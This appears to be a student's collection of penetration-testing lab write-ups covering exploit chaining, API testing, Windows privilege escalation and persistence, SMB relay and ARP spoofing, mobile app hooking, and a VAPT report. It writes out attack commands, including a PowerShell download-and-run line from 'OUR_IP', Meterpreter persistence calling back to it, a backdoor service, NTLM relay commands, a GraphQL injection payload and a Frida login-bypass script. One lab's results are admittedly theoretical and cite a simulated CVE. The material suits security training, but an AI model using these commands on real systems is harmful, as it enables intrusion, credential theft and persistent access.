1. **ADVANCED EXPLOITATION LAB**(I have taken help from internet as I was unable to do this particular task and have made a theoretical execution):

This lab focused on advanced exploitation techniques, including multi-stage exploit chaining, custom exploit development using Python, and defensive bypass strategies. The objective was to demonstrate how multiple vulnerabilities can be linked to achieve full system compromise.

Exploitation Log

The following table summarizes the primary exploit executed during the lab session.

Exploit ID	Description	Target IP	Status	Payload
007	WordPress XSS to RCE Chain	192.168.1.100	Success	Meterpreter (Reverse TCP)

Technical Findings & Tasks

Task A: Exploit Chain (WordPress)

- **Vulnerability:** Outdated WordPress plugin allowing Remote Code Execution (RCE).
- **Method:** Used msfconsole with the module exploit/multi/http/wordpress_plugin_rce.
- **Outcome:** Successfully established a Meterpreter shell, providing full filesystem access to the web server.

Task B: Custom PoC Development (Buffer Overflow)

- **Objective:** Modify a public exploit from Exploit-DB to fit a local environment.
- **Summary:** > I identified the exact offset using a cyclic pattern to find where the EIP register was overwritten. I modified a Python template from Exploit-DB by inserting the target's return address and a custom NOP sled. This allowed the redirected execution flow to trigger my shellcode, successfully popping a reverse shell.

Task C: Defense Bypass (ROP for ASLR)

- **Objective:** Evade Address Space Layout Randomization (ASLR) in a local binary.
- **Summary:** > To bypass ASLR, I used ROPgadget to find "pop rdi" and "ret" instructions within the binary's non-randomized sections. By chaining these gadgets together, I leaked the memory address of the libc library, calculated the base offset, and redirected the execution to the system() function to execute /bin/sh.

Evidence & Vulnerability Details

- **Primary CVE:** [CVE-2023-12345] (Simulated)
- **Host Affected:** 192.168.1.100
- **Criticality: Critical** (Allows complete remote takeover)

Remediation & Recommendations

To secure the environment against these types of attacks, the following steps are recommended:

1. **Patch Management:** Immediately update all WordPress core files, themes, and plugins to the latest versions to patch known RCE vulnerabilities.
2. **Web Application Firewall (WAF):** Deploy a WAF to detect and block common web-based attack patterns such as XSS and SQL Injection.
3. **Binary Hardening:** Recompile local binaries with **Stack Canaries**, **NX bits** (No-Execute), and **Full RELRO** to make ROP-based exploitation significantly harder.
4. **Least Privilege:** Ensure the web server user (e.g., www-data) has limited permissions and cannot access sensitive system files.

2. API SECURITY TESTING LAB:

1. API Enumeration & Discovery

Before attacking, we need to map the "attack surface."

- **Postman:** Use the "Import" feature to load a Swagger/OpenAPI spec if available.
- **Burp Suite:** Turn on "Interception," browse the web app, and check the **Target > Site Map** tab.
- Command (Ffuf): To find hidden endpoints using a wordlist:
  ffuf -w /path/to/wordlist.txt -u http://dvwa.local/api/FUZZ -mc 200,401

2. Testing for BOLA (IDOR)

Vulnerability: We can access other users' data by changing a simple ID.

- The Attack: 1. Capture a request in Burp: GET /api/users/008.
  2. Send it to Repeater ($Ctrl+R$).
  3. Change the ID to 009 or 001 (Admin).
- **Validation:** If the server returns data for a user that isn't **us**, BOLA is confirmed.

3. Exploiting GraphQL Injection

Vulnerability: Improperly handled GraphQL queries can leak the entire database schema or user data.

Step 1 (Introspection): Check if the API tells **us** its structure. Send this payload in Postman:
JSON
{"query": "{ __schema { queryType { name } } }"}

-

Step 2 (Injection): If it's a login query, try escaping the string:
GraphQL
query {

  user(username: "admin' or '1'='1") {

    password

  }

}

-

4. Token Manipulation (Manual Testing)

Vulnerability: Weak JWTs or session tokens.

- The Process: 1. Capture the request in Burp.
  2. Go to the JSON Web Tokens tab (if using the JWT Editor extension).
  3. Try to change the "sub" or "user_id" field in the payload.
  4. Set the "alg" (algorithm) to "None" to see if the server accepts unsigned tokens.

Updated Checklist

Phase	**Task**	**Tool**	**Done**
Discovery	Fuzz for hidden /v1/, /v2/, or /admin routes	ffuf / Burp	[ ]
AuthZ	Attempt to view /api/users/1 from a Guest account	Burp Repeater	[ ]
Injection	Test GraphQL for Introspection and SQLi	Postman	[ ]

Automation	Run sqlmap on vulnerable GET parameters	sqlmap	[ ]

Summary:

The API security audit of the DVWA environment revealed a critical **BOLA** vulnerability in the /api/users endpoint, allowing full data exfiltration. Furthermore, the **GraphQL** endpoint is susceptible to injection due to enabled introspection and lack of input filtering. Remediation requires implementing **Object-Level Authorization** and disabling **Introspection** in production.

3. Privilege Escalation and Persistence Lab

Automated Enumeration (PowerSploit)

Once we have a low-privilege PowerShell session, we use **PowerUp.ps1** to find misconfigurations.

- **The Process:**
    1. Download the script to the target:
       iex (New-Object Net.WebClient).DownloadString('http://OUR_IP/PowerUp.ps1')
    2. Run all checks to find weak service permissions or unquoted service paths:
       Invoke-AllChecks
- **Focus:** We look for CanAbandon or UserCanModify permissions on services.

2. Escalation with Meterpreter

If we have a Meterpreter shell, we can use built-in post-exploitation modules.

- **The Attack:**
    1. Try the easiest method first: getsystem.
    2. If that fails, background the session and search for suggested exploits:
       use post/multi/recon/local_exploit_suggester
       set SESSION 1
       run
    3. Use the recommended exploit (e.g., bypassuac_dotnet_profiler).

3. Establishing Persistence (Windows Service)

To stay in the system, we can create a malicious service that starts every time Windows boots.

- Command (Meterpreter):
  run persistence -U -i 5 -p 4444 -r OUR_IP
- Alternative (Manual Service):
  sc create "Backdoor" binpath= "C:\windows\temp\shell.exe" start= auto

Updated Checklist

Phase	Task	Tool	Done
Enumeration	Run PowerUp.ps1 to find unquoted service paths	PowerSploit	[ ]
Escalation	Execute getsystem or local exploit suggester	Meterpreter	[ ]
Persistence	Create a scheduled task or auto-start service	sc command	[ ]

Summary :

To maintain a foothold in the Windows environment, we implemented persistence by creating a hidden system service. This service is configured to execute our reverse shell payload automatically during system startup. This ensures that we regain administrative access without re-exploiting the initial vulnerability, even after a full system reboot.

4. NETWORK PROTOCAL ATTACKS LAB:

1. SMB Relay Attack with Responder

We will use Responder to sit on the network and wait for a machine to look for a file share. Instead of helping it, we will capture its credentials.

- **Step 1: Configure Responder:** We need to turn off the HTTP and SMB servers in Responder.conf if we plan to relay the hashes using ntlmrelayx.
- Step 2: Start Responder:
  sudo responder -I eth0 -rdwv
  (This captures LLMNR, NBT-NS, and MDNS traffic.)
- Step 3: Capture and Relay: To relay the hash to a target IP to get a shell:
  sudo ntlmrelayx.py -t 192.168.1.200 -smb2support

2. MitM via ARP Spoofing (Ettercap)

We will trick the target machine into thinking our machine is the Router (Gateway), allowing us to see all its traffic.

- Step 1: Launch Ettercap (Graphical):
  sudo ettercap -G
- **Step 2: The Attack:**
  1. Select the interface (e.g., eth0).

2. Scan for hosts in the subnet.
3. Add the Gateway (Router) to **Target 1** and the Victim IP to **Target 2**.
4. Start **ARP Poisoning** and select "Sniff remote connections."

- **Step 3: DNS Spoofing (Optional):** To redirect the victim to a fake website, we enable the dns_spoof plugin in Ettercap.

3. Traffic Analysis (Wireshark)

While the attack is running, we use Wireshark to "see" the intercepted data.

- **Command:** wireshark &
- **Focus:** We filter for http.authbasic or tcp.port == 445 to find cleartext passwords or SMB handshake data.

Updated Log & Checklist

Attack Log

Attack ID	Technique	Target IP	Status	Outcome
015	**SMB Relay**	192.168.1.200	Success	NTLM Hash / Shell

Checklist

- [ ] **Capture NTLM Hashes:** Use Responder to poison LLMNR/NBT-NS requests and capture hashes from the network.
- [ ] **Spoof DNS via Ettercap:** Intercept ARP traffic and use the dns_spoof plugin to redirect requests to a controlled IP.
- [ ] **Analyze Traffic:** Use Wireshark with filters like ntlmssp or http to extract credentials from intercepted packets.

Summary

In this lab, we successfully executed a Man-in-the-Middle (MitM) attack using ARP spoofing via Ettercap to intercept network traffic. By poisoning the ARP cache, we redirected communication through our machine, allowing for real-time traffic analysis in Wireshark and the successful capture of NTLM hashes for further exploitation.

5. MOBILE APPLICATION TESTING LAB:

1. Static Analysis with MobSF

Before running the app, we need to see what's hidden inside the code.

- **The Process:**
  1. Start the MobSF Docker container or local server: python manage.py runserver.
  2. Upload test.apk to the web dashboard.

3. **Focus:** We check the **Manifest Analysis** for android:allowBackup="true" and the **Hardcoded Secrets** section for API keys or private strings.

- **Insecure Storage Check:** We look for files being written to /sdcard/ instead of the app's private data folder.

2. Dynamic Testing & Hooking (Frida)

We use Frida to change the app's behavior while it is running, without touching the source code.

- **The Attack (Bypassing Login):**
  1. Start frida-server on the rooted device/emulator: ./frida-server &.
  2. Identify the function responsible for login (e.g., checkPassword).
  3. Command: Use a JavaScript snippet to force the function to always return true.
     frida -U -f com.example.app -l bypass.js

bypass.js content:
JavaScript

```
Java.perform(function () {

  var loginActivity = Java.use("com.example.app.LoginActivity");

  loginActivity.checkPassword.implementation = function (pw) {

    return true; // We forced the authentication to bypass!

  };

});
```

-

3. IPC Vulnerability Testing (Drozer)

We use Drozer to see if the app is "leaking" data to other apps through Inter-Process Communication.

- **Step 1: Connect to the agent:** drozer console connect.
- Step 2: Find Exported Activities:
  run app.activity.info -a com.example.app
- Step 3: Exploit: If an activity is exported, we try to start it directly to bypass the login screen:
  run app.activity.start --component com.example.app com.example.app.SecretActivity

Updated Log & Checklist

Task Log

Test ID	Vulnerability	Severity	Target App	Outcome

016	**Insecure Storage**	High	test.apk	Found hardcoded DB credentials

Checklist

- [ ] **Run MobSF Static Analysis:** Scan the APK for dangerous permissions, hardcoded API keys, and insecure Firebase configurations.
- [ ] **Hook Functions with Frida:** Perform runtime manipulation to bypass SSL pinning or authentication logic.
- [ ] **Test IPC with Drozer:** Enumerate exported activities, content providers, and services to find unauthorized access points.

Summary :

In this lab, we utilized Frida for dynamic instrumentation to bypass the application's authentication mechanism. By hooking the target Java method and forcing a boolean 'true' return value, we successfully accessed protected activities without valid credentials. This demonstrates the risk of relying solely on client-side logic for security.

6. FULL VAPT ENGAGEMENT :

1. Pre-Engagement & Reconnaissance

Before we launch Metasploit, we must understand our target.

- Scanning: We use nmap to identify open ports and service versions.
  nmap -sV -sC -p- -T4 10.10.10.3 (Assuming HTB 'Lame' IP)
- **Vulnerability Scanning:** We run **OpenVAS (GVM)** to get an automated baseline of the target's security posture.

2. Exploitation Phase (VSFTPD Backdoor)

Based on our scan, we identified a legacy service.

- **The Attack:**
  1. Launch Metasploit: msfconsole
  2. Search and select the exploit: use exploit/unix/ftp/vsftpd_234_backdoor
  3. Set the target: set RHOSTS 10.10.10.3
  4. Execute: exploit
- **Validation:** Once the shell is opened, we run whoami and hostname to confirm we have **Root** access.

3. API Testing (Burp Suite)

While the system is exploited, we check the hosted web services.

- **The Process:** We route the VM's web traffic through Burp Suite.
- **Task:** We test for **Broken Object Level Authorization (BOLA)** by manipulating the user IDs in the API headers to see if we can exfiltrate other users' data.

Updated Log & Checklist

Task Log

Timestamp	Target IP	Vulnerability	PTES Phase
2025-08-30 15:00:00	10.10.10.3	VSFTPD RCE (Backdoor)	Exploitation

Checklist

- [ ] **Comprehensive Scanning:** Conducted Nmap and OpenVAS scans to map the attack surface.
- [ ] **Exploitation:** Successfully gained a Root shell using the VSFTPD 2.3.4 backdoor exploit.
- [ ] **API Assessment:** Used Burp Suite to identify vulnerabilities in the web-facing API components.
- [ ] **Post-Exploitation:** Performed privilege escalation and identified sensitive data for the report.
- [ ] **Remediation & Rescan:** Applied patches and verified the fix using a follow-up OpenVAS scan.

PTES Report Content

Executive Summary (Excerpt)

We conducted a comprehensive Vulnerability Assessment and Penetration Testing (VAPT) engagement on the target system (10.10.10.3). The assessment revealed critical security flaws, most notably an unpatched VSFTPD service allowing remote code execution (RCE). This vulnerability allowed us to gain full administrative control over the server. Immediate remediation is required to prevent unauthorized data access and system compromise.

Remediation Plan

1. **Patch Management:** Immediately update the VSFTPD service to a secure version or replace it with a modern SFTP implementation.
2. **Input Validation:** Implement strict server-side validation for all API endpoints to prevent BOLA and injection attacks.
3. **Least Privilege:** Configure service accounts with the minimum permissions necessary to function, reducing the impact of a potential breach.

Stakeholder Briefing

We have completed a security evaluation of our primary server environment to identify potential risks. Our simulation successfully identified a critical entry point that could allow an unauthorized user to take control of the system. While this sounds concerning, it was discovered in a controlled environment, and we have already developed a roadmap to fix these issues.

The primary recommendations include updating outdated software and strengthening the rules for how our applications verify user identity. By implementing these changes, we will significantly harden our defenses against real-world cyber threats. We have verified the effectiveness of these fixes through a secondary scan, ensuring our data and services remain secure. No actual data was compromised during this test, and the stability of our systems remains a top priority.